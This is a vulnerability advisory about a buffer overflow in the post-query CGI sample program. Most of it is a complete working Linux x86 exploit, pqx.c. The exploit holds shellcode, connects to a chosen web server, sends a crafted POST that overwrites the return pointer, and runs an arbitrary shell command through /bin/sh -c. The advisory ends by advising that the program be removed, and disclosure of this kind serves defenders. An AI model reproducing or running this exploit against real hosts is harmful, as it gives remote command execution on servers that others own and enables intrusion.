COMMAND
post-query
SYSTEMS AFFECTED
post-query (CGI)
PROBLEM
'proton' found following. The overflow condition is *very* easily
exploitable, since the code actually supplies the pointer to the
exploit code itself, odd as it maye seem. The pointer thusly does
not need to be second-guessed at all, making life much easier for
crackers. Code excerpts:
...
#define MAX_ENTRIES 10000
typedef struct {
char *name;
char *val;
} entry;
...
main(int argc, char *argv[]) {
entry entries[MAX_ENTRIES];
...
for(x=0;cl && (!feof(stdin));x++) {
m=x;
entries[x].val = fmakeword(stdin,'&',&cl);
plustospace(entries[x].val);
unescape_url(entries[x].val);
entries[x].name = makeword(entries[x].val,'=');
}
...
Fellow C programmers would surely see the problem right away.
By feeding 10,000 bogus entries, and then sending a specially
prepared buffer for the 10,001'th, you get a situation where
memory is allocated, the exploit code is written into it and
the pointer is then put into the 10,001'st position of the
entries struct. This happens to be the position of the return
pointer. When the program ends, it does not call `exit' as
we would say most network applications should, instead it
returns to __start, or in a case where the return pointer
has been overwritten, it returns to the user-supplied code.
The only problem with this exploit is that `fmakeword' allocates
102400 bytes for each buffer. Before you think that the problem
then becomes entirely theoretical, consider that most modern
kernels does not give the programs actual physical memory until
the memory is written to. A fair estimate would be that to be
vulnerable the server would need around 40-50MB of physical
and/or virtual memory, but we can't say for certain.
To sum it up, this exploit is real, you may be vulnerable if you
have the post-query CGI on your webservers (and it is *very*
common).
You may be lucky enough to have an OS that prohibits the
application from successfully allocating the needed memory.
Attached is a working exploit program for Linux-ix86. You may or
may not be vulnerable to this exploit depending on a number of
factors. Better safe than sorry, remove post-query if you have
it. It is an example program designed to demonstrate how posting
to CGI works and as such isnt useful for any normal webserver
operations.
/*
| pqx.c -- post-query buffer overflow exploit for Linux-ix86
| Copyright (c) 2001 by proton. All rights reserved.
|
| This program is free software; you can redistribute it and/or modify
| it under the terms of the GNU General Public License as published by
| the Free Software Foundation; either version 2 of the License, or
| (at your option) any later version.
|
| This program is distributed in the hope that it will be useful,
| but WITHOUT ANY WARRANTY; without even the implied warranty of
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
| GNU General Public License for more details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
char tmp[512];
char *host;
char *progname;
char *command;
#define output(x) write(1,x,sizeof(x))
unsigned char shellcode[] =
"\xeb\x3b\x5e\x8d\x5e\x10\x89\x1e\x8d\x7e\x18\x89\x7e\x04\x8d\x7e\x1b\x89\x7e\x08"
"\xb8\x40\x40\x40\x40\x47\x8a\x07\x28\xe0\x75\xf9\x31\xc0\x88\x07\x89\x46\x0c\x88"
"\x46\x17\x88\x46\x1a\x89\xf1\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xc0\xff\xff\xff\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x00";
void netpipe(int *rsock, int *wsock, int sz)
{
struct sockaddr_in sai;
struct hostent *he;
int s;
if (!host || !*host || !command || !*command)
{
printf("Usage: %s <host> \"<command>\"\n",progname);
exit(1);
}
he = gethostbyname(host);
if (!he)
{
printf("%s: Unknown host\n",host);
exit(1);
}
s = socket(AF_INET,SOCK_STREAM,0);
sai.sin_family = AF_INET;
sai.sin_port = htons(80);
memcpy(&sai.sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
if (connect(s,(struct sockaddr*)&sai,sizeof(sai)) < 0)
{
switch(errno)
{
case ECONNREFUSED:
output("Connection refused.\n");
break;
case ETIMEDOUT:
output("Connection timed out.\n");
break;
case ENETUNREACH:
output("Network unreachable.\n");
break;
default:
output("Unknown error.\n");
break;
}
exit(1);
}
output("Connection established.\n");
*rsock = *wsock = s;
sprintf(tmp,"POST /cgi-bin/post-query HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %i\r\n\r\n",sz);
write(s,tmp,strlen(tmp));
}
void __doit(void);
#define CMDSTUB "/bin/sh -c %s@"
int main(int argc, char **argv)
{
char *q,*cp;
int in,out;
int sz,x,n;
if (argc < 3)
{
fprintf(stderr,"Usage: %s <hostname> \"<command>\"\n",argv[0]);
exit(1);
}
progname = argv[0];
host = argv[1];
command = argv[2];
x = (2*strlen(shellcode)) + strlen(command) + sizeof(CMDSTUB);
sz = 9999 + x;
netpipe(&in,&out,sz);
tmp[0] = 0;
for(sz=0;sz<9999;sz++)
{
strcat(tmp,"&");
if (strlen(tmp) > 500)
{
write(out,tmp,strlen(tmp));
tmp[0] = 0;
}
}
write(out,tmp,strlen(tmp));
sprintf(tmp,"&%s=%s",shellcode,shellcode);
q = strchr(tmp,0);
sprintf(q,CMDSTUB,command);
write(out,tmp,x);
output("Sent our shit.\n");
n = x = 0;
for(;;)
{
sz = read(in,&tmp[x],512-x);
if (sz < 1)
break;
x += sz;
q = cp = tmp;
for(sz=x;sz;)
{
if (*q == '\n')
{
if (strncmp(cp,"<li> <code> = </code>",q-cp))
write(1,cp,(q-cp)+1);
else
if (!n)
{
write(1,"\n<!-- ignoring 10,000 lines of crap -->\n\n",41);
n++;
}
cp = q + 1;
}
q++;
sz--;
}
if (cp != tmp)
{
sz = x - (cp - tmp);
memcpy(tmp,cp,sz);
x -= (cp - tmp);
}
}
exit(0);
}
SOLUTION
Better safe than sorry; Remove the program if you have it! Noone
should really need this type of application since it is a sample
program designed to demonstrate how CGI works.